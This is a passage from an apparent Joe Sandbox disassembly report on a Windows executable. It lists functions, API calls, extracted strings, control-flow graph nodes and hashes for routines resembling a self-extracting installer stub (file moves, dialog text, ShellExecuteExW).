2f0d73-2f0da6 call 2e4092 AllocConsole 317->328 322->313 323->315 325 2f0ce8 323->325 325->313 335 2f0df3-2f0df5 ExitProcess 327->335 334 2f0da8-2f0ded GetCurrentProcessId AttachConsole call 303e13 GetStdHandle WriteConsoleW Sleep FreeConsole 328->334 328->335 334->335
                                                                        APIs
                                                                        • GetModuleHandleW.KERNEL32(kernel32), ref: 002F087C
                                                                        • GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 002F088E
                                                                        • GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 002F08BF
                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 002F0B69
                                                                        • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002F0B83
                                                                        • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 002F0B93
                                                                        • ReadFile.KERNEL32(00000000,?,00007FFE,|<1,00000000), ref: 002F0BB1
                                                                        • CloseHandle.KERNEL32(00000000), ref: 002F0C09
                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 002F0C1E
                                                                        • CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,|<1,?,00000000,?,00000800), ref: 002F0C72
                                                                        • GetFileAttributesW.KERNELBASE(?,?,|<1,00000800,?,00000000,?,00000800), ref: 002F0C9C
                                                                        • GetFileAttributesW.KERNEL32(?,?,D=1,00000800), ref: 002F0CD8
                                                                          • Part of subcall function 002F081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 002F0836
                                                                          • Part of subcall function 002F081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,002EF2D8,Crypt32.dll,00000000,002EF35C,?,?,002EF33E,?,?,?), ref: 002F0858
                                                                        • _swprintf.LIBCMT ref: 002F0D4A
                                                                        • _swprintf.LIBCMT ref: 002F0D96
                                                                          • Part of subcall function 002E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E40A5
                                                                        • AllocConsole.KERNEL32 ref: 002F0D9E
                                                                        • GetCurrentProcessId.KERNEL32 ref: 002F0DA8
                                                                        • AttachConsole.KERNEL32(00000000), ref: 002F0DAF
                                                                        • _wcslen.LIBCMT ref: 002F0DC4
                                                                        • GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 002F0DD5
                                                                        • WriteConsoleW.KERNEL32(00000000), ref: 002F0DDC
                                                                        • Sleep.KERNEL32(00002710), ref: 002F0DE7
                                                                        • FreeConsole.KERNEL32 ref: 002F0DED
                                                                        • ExitProcess.KERNEL32 ref: 002F0DF5
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
                                                                        • String ID: (=1$,<1$,@1$0?1$0A1$4B1$8>1$D=1$DXGIDebug.dll$H?1$H@1$HA1$P>1$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$T=1$`@1$d?1$dA1$dwmapi.dll$h=1$h>1$kernel32$uxtheme.dll$|<1$|?1$|@1$<1$>1$?1$@1$A1
                                                                        • API String ID: 1207345701-3379145090
                                                                        • Opcode ID: 743c3cdf2ca72af5374f30d49fb639ecb49fcfd0db674757e32663f3f4c995df
                                                                        • Instruction ID: 6cb5e5e09cbc4095b0283983a9d05b9392e68d7960874ab9e6363cf29864e900
                                                                        • Opcode Fuzzy Hash: 743c3cdf2ca72af5374f30d49fb639ecb49fcfd0db674757e32663f3f4c995df
                                                                        • Instruction Fuzzy Hash: FBD195B5058385ABD726DF50C889BDFFBECAB8C744F50492DF28596141C7B08689CB62
                                                                        Function 002FC73F Relevance: 51.2, APIs: 23, Strings: 6, Instructions: 428windowCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 347 2fc73f-2fc757 call 2feb78 call 2fec50 352 2fd40d-2fd418 347->352 353 2fc75d-2fc787 call 2fb314 347->353 353->352 356 2fc78d-2fc792 353->356 357 2fc793-2fc7a1 356->357 358 2fc7a2-2fc7b7 call 2faf98 357->358 361 2fc7b9 358->361 362 2fc7bb-2fc7d0 call 2f1fbb 361->362 365 2fc7dd-2fc7e0 362->365 366 2fc7d2-2fc7d6 362->366 367 2fd3d9-2fd404 call 2fb314 365->367 368 2fc7e6 365->368 366->362 369 2fc7d8 366->369 367->357 384 2fd40a-2fd40c 367->384 370 2fca5f-2fca61 368->370 371 2fc9be-2fc9c0 368->371 372 2fc7ed-2fc7f0 368->372 373 2fca7c-2fca7e 368->373 369->367 370->367 378 2fca67-2fca77 SetWindowTextW 370->378 371->367 375 2fc9c6-2fc9d2 371->375 372->367 376 2fc7f6-2fc850 call 2fa64d call 2ebdf3 call 2ea544 call 2ea67e call 2e6edb 372->376 373->367 379 2fca84-2fca8b 373->379 381 2fc9e6-2fc9eb 375->381 382 2fc9d4-2fc9e5 call 307686 375->382 438 2fc98f-2fc9a4 call 2ea5d1 376->438 378->367 379->367 380 2fca91-2fcaaa 379->380 385 2fcaac 380->385 386 2fcab2-2fcac0 call 303e13 380->386 389 2fc9ed-2fc9f3 381->389 390 2fc9f5-2fca00 call 2fb48e 381->390 382->381 384->352 385->386 386->367 401 2fcac6-2fcacf 386->401 394 2fca05-2fca07 389->394 390->394 399 2fca09-2fca10 call 303e13 394->399 400 2fca12-2fca32 call 303e13 call 303e3e 394->400 399->400 421 2fca4b-2fca4d 400->421 422 2fca34-2fca3b 400->422 406 2fcaf8-2fcafb 401->406 407 2fcad1-2fcad5 401->407 412 2fcb01-2fcb04 406->412 414 2fcbe0-2fcbee call 2f0602 406->414 411 2fcad7-2fcadf 407->411 407->412 411->367 417 2fcae5-2fcaf3 call 2f0602 411->417 419 2fcb06-2fcb0b 412->419 420 2fcb11-2fcb2c 412->420 430 2fcbf0-2fcc04 call 30279b 414->430 417->430 419->414 419->420 433 2fcb2e-2fcb68 420->433 434 2fcb76-2fcb7d 420->434 421->367 429 2fca53-2fca5a call 303e2e 421->429 427 2fca3d-2fca3f 422->427 428 2fca42-2fca4a call 307686 422->428 427->428 428->421 429->367 447 2fcc06-2fcc0a 430->447 448 2fcc11-2fcc62 call 2f0602 call 2fb1be GetDlgItem SetWindowTextW SendMessageW call 303e49 430->448 467 2fcb6c-2fcb6e 433->467 468 2fcb6a 433->468 440 2fcb7f-2fcb97 call 303e13 434->440 441 2fcbab-2fcbce call 303e13 * 2 434->441 454 2fc9aa-2fc9b9 call 2ea55a 438->454 455 2fc855-2fc869 SetFileAttributesW 438->455 440->441 460 2fcb99-2fcba6 call 2f05da 440->460 441->430 474 2fcbd0-2fcbde call 2f05da 441->474 447->448 453 2fcc0c-2fcc0e 447->453 481 2fcc67-2fcc6b 448->481 453->448 454->367 462 2fc90f-2fc91f GetFileAttributesW 455->462 463 2fc86f-2fc8a2 call 2eb991 call 2eb690 call 303e13 455->463 460->441 462->438 466 2fc921-2fc930 DeleteFileW 462->466 490 2fc8b5-2fc8c3 call 2ebdb4 463->490 491 2fc8a4-2fc8b3 call 303e13 463->491 466->438 475 2fc932-2fc935 466->475 467->434 468->467 474->430 479 2fc939-2fc965 call 2e4092 GetFileAttributesW 475->479 488 2fc937-2fc938 479->488 489 2fc967-2fc97d MoveFileW 479->489 481->367 485 2fcc71-2fcc85 SendMessageW 481->485 485->367 488->479 489->438 492 2fc97f-2fc989 MoveFileExW 489->492 490->454 497 2fc8c9-2fc908 call 303e13 call 2ffff0 490->497 491->490 491->497 492->438 497->462
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002FC744
                                                                          • Part of subcall function 002FB314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 002FB3FB
                                                                          • Part of subcall function 002FAF98: _wcschr.LIBVCRUNTIME ref: 002FB033
                                                                        • _wcslen.LIBCMT ref: 002FCA0A
                                                                        • _wcslen.LIBCMT ref: 002FCA13
                                                                        • SetWindowTextW.USER32(?,?), ref: 002FCA71
                                                                        • _wcslen.LIBCMT ref: 002FCAB3
                                                                        • _wcsrchr.LIBVCRUNTIME ref: 002FCBFB
                                                                        • GetDlgItem.USER32(?,00000066), ref: 002FCC36
                                                                        • SetWindowTextW.USER32(00000000,?), ref: 002FCC46
                                                                        • SendMessageW.USER32(00000000,00000143,00000000,0032A472), ref: 002FCC54
                                                                        • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 002FCC7F
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcschr_wcsrchr
                                                                        • String ID: %s.%d.tmp$<br>$</$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$/
                                                                        • API String ID: 986293930-2225391062
                                                                        • Opcode ID: 3fb7ec7de988a55e33b493357702b48c91167f14a72602218a178ae5650d229d
                                                                        • Instruction ID: 7c15527485910da07ef7d9fe33c0baae9c99d5cdb27dd11c3a9d3b27ec33d2ae
                                                                        • Opcode Fuzzy Hash: 3fb7ec7de988a55e33b493357702b48c91167f14a72602218a178ae5650d229d
                                                                        • Instruction Fuzzy Hash: DAE1537291011DAADF25DBA4DD85EFEB3BCAB04390F5041B6F70AE7050EB749A948F60
                                                                        Function 002EDA67 Relevance: 26.9, APIs: 5, Strings: 10, Instructions: 663COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002EDA70
                                                                        • _wcschr.LIBVCRUNTIME ref: 002EDA91
                                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 002EDAAC
                                                                          • Part of subcall function 002EC29A: _wcslen.LIBCMT ref: 002EC2A2
                                                                          • Part of subcall function 002F05DA: _wcslen.LIBCMT ref: 002F05E0
                                                                          • Part of subcall function 002F1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,002EBAE9,00000000,?,?,?,000103DA), ref: 002F1BA0
                                                                        • _wcslen.LIBCMT ref: 002EDDE9
                                                                        • __fprintf_l.LIBCMT ref: 002EDF1C
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
                                                                        • String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a$91
                                                                        • API String ID: 557298264-3980880940
                                                                        • Opcode ID: ca1d006449db5519fc5bd4034d2195eaa078da06e8ded11d8dc3139bcca6de42
                                                                        • Instruction ID: 69f26bc3c35f34be80710ba41917400574a358ce2b166445b5e380d6b62064bd
                                                                        • Opcode Fuzzy Hash: ca1d006449db5519fc5bd4034d2195eaa078da06e8ded11d8dc3139bcca6de42
                                                                        • Instruction Fuzzy Hash: 5232F471960299DBCF25EF65CC46BEE77A8FF08300F81015AF9059B281E7B19DA5CB50
                                                                        Function 002FD4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97windowCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        APIs
                                                                          • Part of subcall function 002FB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 002FB579
                                                                          • Part of subcall function 002FB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 002FB58A
                                                                          • Part of subcall function 002FB568: IsDialogMessageW.USER32(000103DA,?), ref: 002FB59E
                                                                          • Part of subcall function 002FB568: TranslateMessage.USER32(?), ref: 002FB5AC
                                                                          • Part of subcall function 002FB568: DispatchMessageW.USER32(?), ref: 002FB5B6
                                                                        • GetDlgItem.USER32(00000068,0033FCB8), ref: 002FD4E8
                                                                        • ShowWindow.USER32(00000000,00000005,?,?,?,002FAF07,00000001,?,?,002FB7B9,0031506C,0033FCB8,0033FCB8,00001000,00000000,00000000), ref: 002FD510
                                                                        • SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 002FD51B
                                                                        • SendMessageW.USER32(00000000,000000C2,00000000,003135F4), ref: 002FD529
                                                                        • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 002FD53F
                                                                        • SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 002FD559
                                                                        • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 002FD59D
                                                                        • SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 002FD5AB
                                                                        • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 002FD5BA
                                                                        • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 002FD5E1
                                                                        • SendMessageW.USER32(00000000,000000C2,00000000,003143F4), ref: 002FD5F0
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
                                                                        • String ID: \
                                                                        • API String ID: 3569833718-2967466578
                                                                        • Opcode ID: f4b8d320265e3534e5fffaaaaae617049c863d1522cd45d3073ab0d874364906
                                                                        • Instruction ID: 98dbd79c55d8b3d3d8f6fa95bc5043e9da9fae7cc583b032272f8f1f1cb242e2
                                                                        • Opcode Fuzzy Hash: f4b8d320265e3534e5fffaaaaae617049c863d1522cd45d3073ab0d874364906
                                                                        • Instruction Fuzzy Hash: 1331E771145346BFD312DF20DC4AFAB7FACEB87744F000618F6519B190DBA5AA058B76
                                                                        Function 002FD78F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 184COMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 837 2fd78f-2fd7a7 call 2fec50 840 2fd7ad-2fd7b9 call 303e13 837->840 841 2fd9e8-2fd9f0 837->841 840->841 844 2fd7bf-2fd7e7 call 2ffff0 840->844 847 2fd7e9 844->847 848 2fd7f1-2fd7ff 844->848 847->848 849 2fd812-2fd818 848->849 850 2fd801-2fd804 848->850 852 2fd85b-2fd85e 849->852 851 2fd808-2fd80e 850->851 854 2fd837-2fd844 851->854 855 2fd810 851->855 852->851 853 2fd860-2fd866 852->853 858 2fd86d-2fd86f 853->858 859 2fd868-2fd86b 853->859 856 2fd84a-2fd84e 854->856 857 2fd9c0-2fd9c2 854->857 860 2fd822-2fd82c 855->860 863 2fd9c6 856->863 864 2fd854-2fd859 856->864 857->863 865 2fd882-2fd898 call 2eb92d 858->865 866 2fd871-2fd878 858->866 859->858 859->865 861 2fd82e 860->861 862 2fd81a-2fd820 860->862 861->854 862->860 869 2fd830-2fd833 862->869 870 2fd9cf 863->870 864->852 873 2fd89a-2fd8a7 call 2f1fbb 865->873 874 2fd8b1-2fd8bc call 2ea231 865->874 866->865 867 2fd87a 866->867 867->865 869->854 872 2fd9d6-2fd9d8 870->872 876 2fd9da-2fd9dc 872->876 877 2fd9e7 872->877 873->874 882 2fd8a9 873->882 883 2fd8be-2fd8d5 call 2eb6c4 874->883 884 2fd8d9-2fd8e6 ShellExecuteExW 874->884 876->877 881 2fd9de-2fd9e1 ShowWindow 876->881 877->841 881->877 882->874 883->884 884->877 886 2fd8ec-2fd8f9 884->886 888 2fd90c-2fd90e 886->888 889 2fd8fb-2fd902 886->889 891 2fd925-2fd944 call 2fdc3b 888->891 892 2fd910-2fd919 888->892 889->888 890 2fd904-2fd90a 889->890 890->888 893 2fd97b-2fd987 CloseHandle 890->893 891->893 906 2fd946-2fd94e 891->906 892->891 899 2fd91b-2fd923 ShowWindow 892->899 895 2fd989-2fd996 call 2f1fbb 893->895 896 2fd998-2fd9a6 893->896 895->870 895->896 896->872 898 2fd9a8-2fd9aa 896->898 898->872 902 2fd9ac-2fd9b2 898->902 899->891 902->872 905 2fd9b4-2fd9be 902->905 905->872 906->893 907 2fd950-2fd961 GetExitCodeProcess 906->907 907->893 908 2fd963-2fd96d 907->908 909 2fd96f 908->909 910 2fd974 908->910 909->910 910->893
                                                                        APIs
                                                                        • _wcslen.LIBCMT ref: 002FD7AE
                                                                        • ShellExecuteExW.SHELL32(?), ref: 002FD8DE
                                                                        • ShowWindow.USER32(?,00000000), ref: 002FD91D
                                                                        • GetExitCodeProcess.KERNEL32(?,?), ref: 002FD959
                                                                        • CloseHandle.KERNEL32(?), ref: 002FD97F
                                                                        • ShowWindow.USER32(?,00000001), ref: 002FD9E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
                                                                        • String ID: .exe$.inf$h/$r/
                                                                        • API String ID: 36480843-3040901513
                                                                        • Opcode ID: c066d4220495bf124ecb7b438ee30ff6a4794a4af4b048bd065a04bb258469da
                                                                        • Instruction ID: 3d4c624c22342a6977790ff13a0ea6d4ff5007f53bb6cd0c57982ffe3ec82e5f
                                                                        • Opcode Fuzzy Hash: c066d4220495bf124ecb7b438ee30ff6a4794a4af4b048bd065a04bb258469da
                                                                        • Instruction Fuzzy Hash: 9851187442438A9ADB329F64D844BBBFBEAAF457C4F04083EF6C197190D7B09965CB12
                                                                        Function 0030A95B Relevance: 9.2, APIs: 6, Instructions: 216COMMONLIBRARYCODE
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 911 30a95b-30a974 912 30a976-30a986 call 30ef4c 911->912 913 30a98a-30a98f 911->913 912->913 923 30a988 912->923 915 30a991-30a999 913->915 916 30a99c-30a9c0 MultiByteToWideChar 913->916 915->916 917 30ab53-30ab66 call 2ffbbc 916->917 918 30a9c6-30a9d2 916->918 920 30a9d4-30a9e5 918->920 921 30aa26 918->921 924 30aa04-30aa15 call 308e06 920->924 925 30a9e7-30a9f6 call 312010 920->925 927 30aa28-30aa2a 921->927 923->913 931 30ab48 924->931 939 30aa1b 924->939 925->931 938 30a9fc-30aa02 925->938 930 30aa30-30aa43 MultiByteToWideChar 927->930 927->931 930->931 935 30aa49-30aa5b call 30af6c 930->935 932 30ab4a-30ab51 call 30abc3 931->932 932->917 940 30aa60-30aa64 935->940 942 30aa21-30aa24 938->942 939->942 940->931 943 30aa6a-30aa71 940->943 942->927 944 30aa73-30aa78 943->944 945 30aaab-30aab7 943->945 944->932 946 30aa7e-30aa80 944->946 947 30ab03 945->947 948 30aab9-30aaca 945->948 946->931 949 30aa86-30aaa0 call 30af6c 946->949 950 30ab05-30ab07 947->950 951 30aae5-30aaf6 call 308e06 948->951 952 30aacc-30aadb call 312010 948->952 949->932 964 30aaa6 949->964 955 30ab41-30ab47 call 30abc3 950->955 956 30ab09-30ab22 call 30af6c 950->956 951->955 963 30aaf8 951->963 952->955 967 30aadd-30aae3 952->967 955->931 956->955 969 30ab24-30ab2b 956->969 968 30aafe-30ab01 963->968 964->931 967->968 968->950 970 30ab67-30ab6d 969->970 971 30ab2d-30ab2e 969->971 972 30ab2f-30ab3f WideCharToMultiByte 970->972 971->972 972->955 973 30ab6f-30ab76 call 30abc3 972->973 973->932
                                                                        APIs
                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00305695,00305695,?,?,?,0030ABAC,00000001,00000001,2DE85006), ref: 0030A9B5
                                                                        • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0030ABAC,00000001,00000001,2DE85006,?,?,?), ref: 0030AA3B
                                                                        • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0030AB35
                                                                        • __freea.LIBCMT ref: 0030AB42
                                                                          • Part of subcall function 00308E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0030CA2C,00000000,?,00306CBE,?,00000008,?,003091E0,?,?,?), ref: 00308E38
                                                                        • __freea.LIBCMT ref: 0030AB4B
                                                                        • __freea.LIBCMT ref: 0030AB70
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                                        • String ID:
                                                                        • API String ID: 1414292761-0
                                                                        • Opcode ID: 95dceb9f607191cfc89ca67d685a456a206835011b48558253de2fbfbc3c7b19
                                                                        • Instruction ID: 75ca488069697b2aa770f89a2349795117aa495ff1eddbdea93cdf1b5f2117a4
                                                                        • Opcode Fuzzy Hash: 95dceb9f607191cfc89ca67d685a456a206835011b48558253de2fbfbc3c7b19
                                                                        • Instruction Fuzzy Hash: 7451E472602B16AFDB278F64EC61EBBB7AAEB44750F164629FC04DA1C0DB34DC50C691
                                                                        Function 00303B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 976 303b72-303b7c 977 303bee-303bf1 976->977 978 303bf3 977->978 979 303b7e-303b8c 977->979 980 303bf5-303bf9 978->980 981 303b95-303bb1 LoadLibraryExW 979->981 982 303b8e-303b91 979->982 985 303bb3-303bbc GetLastError 981->985 986 303bfa-303c00 981->986 983 303b93 982->983 984 303c09-303c0b 982->984 987 303beb 983->987 984->980 988 303be6-303be9 985->988 989 303bbe-303bd3 call 306088 985->989 986->984 990 303c02-303c03 FreeLibrary 986->990 987->977 988->987 989->988 993 303bd5-303be4 LoadLibraryExW 989->993 990->984 993->986 993->988
                                                                        APIs
                                                                        • FreeLibrary.KERNEL32(00000000,?,?,?,00303C35,?,?,00342088,00000000,?,00303D60,00000004,InitializeCriticalSectionEx,00316394,InitializeCriticalSectionEx,00000000), ref: 00303C03
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: FreeLibrary
                                                                        • String ID: api-ms-
                                                                        • API String ID: 3664257935-2084034818
                                                                        • Opcode ID: 767107417dae11c0b8c7536c009d6eff9ae3a1cfa4d3beefca3fdcf016fadb00
                                                                        • Instruction ID: d4cab523120d1b1ac7e6db5dbf55a6d9e5010310c469287c4e6f4da0abdb3f46
                                                                        • Opcode Fuzzy Hash: 767107417dae11c0b8c7536c009d6eff9ae3a1cfa4d3beefca3fdcf016fadb00
                                                                        • Instruction Fuzzy Hash: 1F11A335A47221ABDB238BA89C51B9A37AC9F05774F264151E915FB2D0E770EF0086D1
                                                                        Function 002E98E0 Relevance: 7.6, APIs: 5, Instructions: 111filetimeCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
